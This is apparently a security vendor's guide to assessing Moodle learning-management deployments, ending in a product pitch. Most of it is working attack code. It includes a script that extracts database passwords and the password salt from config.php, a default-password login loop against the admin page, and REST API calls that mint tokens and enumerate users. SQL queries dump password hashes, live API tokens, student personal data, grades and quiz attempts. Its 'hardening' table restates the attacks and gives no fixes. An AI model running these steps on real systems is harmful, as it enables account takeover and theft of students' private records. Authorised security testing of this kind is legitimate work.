Moodle Security Testing: Default Credentials, API Key, Database, and LMS

Moodle is the world's most popular LMS (Learning Management System) — used by universities, schools, and corporate training platforms worldwide. Key assessment areas: config.php exposes MySQL database credentials and passwordsaltmain; admin credentials are frequently weak at /login/index.php; the REST API uses web service tokens for programmatic access; and Moodle manages sensitive student PII, academic grades, and exam content. This guide covers systematic Moodle security assessment.

Table of Contents

  1. config.php MySQL Credential and passwordsaltmain Extraction
  2. REST API Web Service Token and Admin Credential Assessment
  3. MySQL Student PII, Grade Data, and Token Extraction
  4. Moodle Security Hardening

config.php MySQL Credential and passwordsaltmain Extraction

# Moodle — config.php MySQL credential and passwordsaltmain extraction
MOODLE_URL="https://moodle.example.com"

# config.php — Moodle database configuration (CRITICAL)
cat /var/www/moodle/config.php 2>/dev/null
# $CFG->dbtype    = 'mysqli';
# $CFG->dbhost    = 'localhost';
# $CFG->dbuser    = 'moodle';
# $CFG->dbpass    = '...';          <-- MySQL database password
# $CFG->dbname    = 'moodle';
# $CFG->dataroot  = '/var/moodledata';  <-- moodledata location

python3 -c "
import re
content = open('/var/www/moodle/config.php').read()
patterns = {
    'dbpass': r\"\\\\\$CFG->dbpass\s*=\s*'([^']+)'\",
    'dbuser': r\"\\\\\$CFG->dbuser\s*=\s*'([^']+)'\",
    'dbname': r\"\\\\\$CFG->dbname\s*=\s*'([^']+)'\",
    'dataroot': r\"\\\\\$CFG->dataroot\s*=\s*'([^']+)'\",
    'secret': r\"\\\\\$CFG->passwordsaltmain\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null

# passwordsaltmain is stored in database mdl_config table (not in config.php for all versions)
# MySQL: SELECT value FROM mdl_config WHERE name = 'passwordsaltmain';

# Test admin credentials at /login/index.php
for CRED in "admin:admin" "admin:moodle" "admin:Admin1234"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get login token
  TOKEN=$(curl -s "${MOODLE_URL}/login/index.php" | \
    grep -oP 'logintoken" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${MOODLE_URL}/login/index.php" \
    -d "username=${USER}&password=${PASS}&logintoken=${TOKEN}&anchor=" \
    -c /tmp/moodle_c -b /tmp/moodle_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API Web Service Token and Admin Credential Assessment

# Moodle REST API — web service token and credential assessment
MOODLE_URL="https://moodle.example.com"

# Moodle REST API — token-based authentication
# Step 1: Get a web service token
TOKEN=$(curl -s "${MOODLE_URL}/login/token.php" \
  -d "username=admin&password=admin&service=moodle_mobile_app" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
echo "Token: ${TOKEN:0:20}..."

# Step 2: Use token to enumerate users (admin only)
curl -s "${MOODLE_URL}/webservice/rest/server.php" \
  -d "wstoken=${TOKEN}&wsfunction=core_user_get_users&moodlewsrestformat=json&criteria[0][key]=deleted&criteria[0][value]=0" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {len(d.get(\"users\",[]))}')
for u in d.get('users',[])[:5]:
    print(f'  {u.get(\"username\")} | {u.get(\"email\")} | role={u.get(\"roles\")}')
" 2>/dev/null

# List all available web service functions (shows API surface)
curl -s "${MOODLE_URL}/webservice/rest/server.php" \
  -d "wstoken=${TOKEN}&wsfunction=core_webservice_get_site_info&moodlewsrestformat=json" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Site: {d.get(\"sitename\")}')
print(f'Moodle version: {d.get(\"release\")}')
print(f'Functions available: {len(d.get(\"functions\",[]))}')
" 2>/dev/null

# Course data enumeration
curl -s "${MOODLE_URL}/webservice/rest/server.php" \
  -d "wstoken=${TOKEN}&wsfunction=core_course_get_courses&moodlewsrestformat=json" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in (d if isinstance(d,list) else [])[:5]:
    print(f'  id={c.get(\"id\")} shortname={c.get(\"shortname\")} fullname={c.get(\"fullname\")}')
" 2>/dev/null

MySQL Student PII, Grade Data, and Token Extraction

# Moodle MySQL database — student PII, grade data, and token extraction
DB_PASS="extracted-db-password"

mysql -u moodle -p"${DB_PASS}" moodle 2>/dev/null << 'EOF'
-- Moodle users (students, teachers, admins) with password hashes
SELECT u.id, u.username, u.email, u.firstname, u.lastname,
       u.password, u.auth, u.lastlogin, u.city, u.country
FROM mdl_user u
WHERE u.deleted = 0
ORDER BY u.id
LIMIT 20;
-- password: SHA-512 with passwordsaltmain prefix (Moodle 2.x default)
-- auth: ldap, email, shibboleth, saml2, etc.

-- Web service tokens (persistent API tokens)
SELECT t.token, t.userid, t.service, t.timecreated, t.lastaccess,
       u.username, u.email
FROM mdl_external_tokens t
JOIN mdl_user u ON t.userid = u.id
WHERE t.validuntil = 0 OR t.validuntil > UNIX_TIMESTAMP()
ORDER BY t.lastaccess DESC
LIMIT 20;
-- Tokens may have long or no expiry

-- Grade data (student performance)
SELECT g.id, u.username, u.email,
       gi.itemname, gi.itemtype, gi.courseid,
       g.finalgrade, g.feedback, g.timecreated
FROM mdl_grade_grades g
JOIN mdl_user u ON g.userid = u.id
JOIN mdl_grade_items gi ON g.itemid = gi.id
WHERE g.finalgrade IS NOT NULL
ORDER BY g.timecreated DESC
LIMIT 20;

-- passwordsaltmain from config table
SELECT c.name, c.value
FROM mdl_config c
WHERE c.name IN ('passwordsaltmain', 'secret', 'noreplyaddress')
LIMIT 10;

-- Quiz submission data (exam answers)
SELECT qa.id, u.username, q.name as quiz_name,
       qa.timestart, qa.timefinish, qa.sumgrades
FROM mdl_quiz_attempts qa
JOIN mdl_user u ON qa.userid = u.id
JOIN mdl_quiz q ON qa.quiz = q.id
WHERE qa.state = 'finished'
ORDER BY qa.timefinish DESC
LIMIT 20;
EOF

Moodle Security Hardening

Moodle Security Hardening Checklist:
Security TestMethodRisk
config.php MySQL dbpass and moodledata path extractionRead /var/www/moodle/config.php — database credentials; moodledata path for session file access and uploaded file enumerationCritical
Web service token extraction from mdl_external_tokensMySQL SELECT token FROM mdl_external_tokens WHERE validuntil=0 — persistent API tokens; full API access at the token user's permission level including student PII and grade dataHigh
Admin credential brute-force (admin/admin, admin/moodle)POST /login/index.php — administrator session; full Moodle administration including user management, course management, plugin installationHigh
mdl_user SHA-512 password hash extractionMySQL SELECT password FROM mdl_user — all user password hashes including admin; SHA-512 with passwordsaltmain prefix crackable offlineHigh
Student PII and grade data extraction via REST APIGET /webservice/rest/server.php?wsfunction=core_user_get_users — all user names, emails; core_grade_get_grades — academic performance data; quiz attempts and submission contentHigh

Automate Moodle Security Testing

Ironimo tests Moodle deployments for config.php MySQL dbpass and moodledata path web exposure, admin/admin credential brute-force at /login/index.php with logintoken extraction, REST API web service token generation via /login/token.php (moodle_mobile_app service), mdl_external_tokens persistent API token extraction, mdl_user SHA-512 password hash enumeration, passwordsaltmain extraction from mdl_config, student PII enumeration via core_user_get_users, grade data extraction via mdl_grade_grades, quiz attempt and submission data access, and file upload PHP execution assessment in moodledata directory.

Start free scan